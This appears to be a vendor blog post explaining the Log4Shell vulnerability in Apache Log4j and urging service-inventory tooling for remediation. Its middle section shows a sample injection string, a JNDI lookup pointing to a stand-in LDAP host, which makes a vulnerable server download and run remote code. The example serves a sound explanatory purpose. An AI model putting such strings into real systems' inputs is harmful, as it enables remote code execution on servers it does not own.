January 12, 2023
min read
Log4j: Why Organizations Are Failing to Remediate This Risk
Log4j vulnerability is a serious issue for many companies, making it difficult to identify services and issues affected by the problem.
Log4j vulnerability is a serious issue for many companies, making it difficult to identify services and issues affected by the problem.
Every year, security researchers discover more software vulnerabilities, but one security problem has stood out from the rest of the crowd: Log4j’s Log4Shell vulnerability. When researchers identified a remote code execution exploit in the Apache Log4j Library in December 2021, it was immediately clear that billions of devices that used Java were at risk.
Much of the uproar over Log4j has died down, but that doesn’t mean the threat has passed. Many organizations are still struggling to eradicate this vulnerability. In fact, many are still in the process of finding out that they’re still vulnerable. Twenty-one percent of organizations with vulnerable systems reported triple-digit percentage growth in the number of assets vulnerable to the Log4j exploit in July compared to January.
Log4j is an application logging library. Applications log events like diagnostic or error messages, which are used for troubleshooting and audit purposes.
For example, many microservice applications record information about the requests they receive from users. These logs provide operators, administrators and developers with important information about how the services are used and where errors lie. One of Log4j’s most popular capabilities is a robust variable system that makes it easy for developers to add dynamic information to log messages. It’s also where the remote execution exploit is located.
In December 2021, NIST announced CVE-2021-44228, a vulnerability in Log4, colloquially referred to as Log4Shell.
One of Log4j’s most powerful features is its ability to perform Lookups that substitute specially formatted strings with runtime information. The most basic examples of Lookups are the time of an event and the Java class that generated it.
More advanced uses of Lookups include environment variables or operations that use the Java Naming and Directory Interface (JNDI.) These mechanisms allow developers — and attackers — to reach outside of the application to collect information about the program’s environment or download code.
For example, Log4 could transform this log message:
logger.info("Received request in ${docker:containerName}");
By replacing the variable ${docker:containerName} with the Docker container the code is running in:
10-19-2022 09:30:24 Received request in weblogic24
The prefix docker tells Log4j to look to Docker for the containerName property.
Lookups are a useful feature, and a logging system would be nearly useless if it weren’t able to enrich log messages with runtime information. But two properties of Lookups made the Log4Shell attack very dangerous:
Lookups are a useful feature, and a logging system would be nearly useless if it weren’t able to enrich log messages with runtime information.
A benign example of JNDI looks like this:
logger.debug ("User under test: ${jndi :ldap://localhost:8080/o=UserObjectID}")
This log message would request a user object from a service running on localhost and execute it. In the example, the developer created the URL for the user object and pointed it at a trusted system.
But what happens when a user injects a URL that isn’t trusted?
Imagine an attacker attempting to log in to a system with a username that’s a malicious JDNI address. The login fails, but the naïve target application passes the string to Log4j:
logger.error("User login failed. Username: ${jndi :ldap://example.com:8080/maliciouscode} is not valid")
With the vulnerability, the application downloads the payload and executes it.
Even if an attacker doesn’t use JNDI to attack a system, they can still embed variables in requests that trick an application into logging information about their host system and environment. This, combined with insecurely stored log files, can provide them with information about a target system.
The Log4j vulnerability makes it possible for attackers to coerce an application into running malicious code or logging secret information.
Because of its powerful features and excellent performance, closed and open source applications have embedded Log4j libraries in their applications since the early 2000s. Addressing the vulnerability requires discovering the applications that use it. Then you must either get updates from the developers or manually replace the Log4j libraries and verify the code still works.
Log4j’s ubiquity makes the first part of the process tremendously difficult. Locating and cataloging susceptible applications and devices is a heavy lift, and many companies don’t have the tools they need to do it.
The first step to addressing any problem is planning, and in this case, the plan must include discovering the applications and services that you need to update with a safe version of the library or a different logging framework. While this seems like an obvious step, many companies fail right here, at the outset of the project. Their efforts are doomed before they begin.
“Without an accurate inventory of where the function is used, it can be very challenging to track down every single application it is used in the enterprise,” Allie Mellen, senior security operations analyst at Forrester, told Venture Beat when asked about mitigating the Log4j issue.
So, start by collecting an inventory of applications that use Log4j. Once you’ve collected that, you can find or assign an owner and ensure they have the resources to mitigate the issue. But collecting that inventory is easy to describe, but difficult to accomplish. You may picture a collection of spreadsheets with application information and a set of headaches associated with keeping them up to date. Fortunately, there are better tools.
Managing a large remediation process calls for an internal developer portal built around a universal catalog. This type of solution enables you to organize all of your applications, services, environments, cloud resources and key information about them like owners, install dependencies and security vulnerabilities in one place. With advanced analytics and scorecarding, you can then measure and manage the team’s progress in remediating the vulnerabilities.
Managing a large remediation process calls for an internal developer portal built around a universal catalog for tracking services.
Configure8 offers a comprehensive array of key integrations to help teams find and solve Log4j issues, including cloud resources spanning Amazon Web Services (AWS), Azure and Google Cloud Platform (GCP), repository providers, and security tool integrations, and an ever-expanding suite of analytics that can be run on this living knowledge map of your distributed system. With a solution like this, you can quickly map your system, identify vulnerabilities and the parties responsible for remediation, and organize and track an initiative to address remaining Log4j vulnerabilities in your organization.
The Log4j vulnerability is still a significant problem for many companies. One of the primary reasons is because Log4j’s ubiquity makes it difficult for companies to identify the services and systems that are affected by the issue. Companies need an accurate inventory of their services, one that includes information about software versions, security status, team ownership, deployments and other relevant information.
But an inventory stored in spreadsheets or any other manual entry system is just another maintenance problem. Remediating wide-scale service issues like Log4j requires a dynamic system inventory that can onboard data quickly and provide you with advanced visualizations and analytics about service status.
Configure8 has the tools you need to manage a large-scale remediation like Log4j. It gives you the tools to quickly build a catalog of services and resources, and then drill down for information on individual components and their dependencies. From there, you have all the tools you need to start and track your efforts.
Eric Goebelbeckerhas worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective).
Copyright © 2024 configure8, Inc. All rights reserved.
.png)
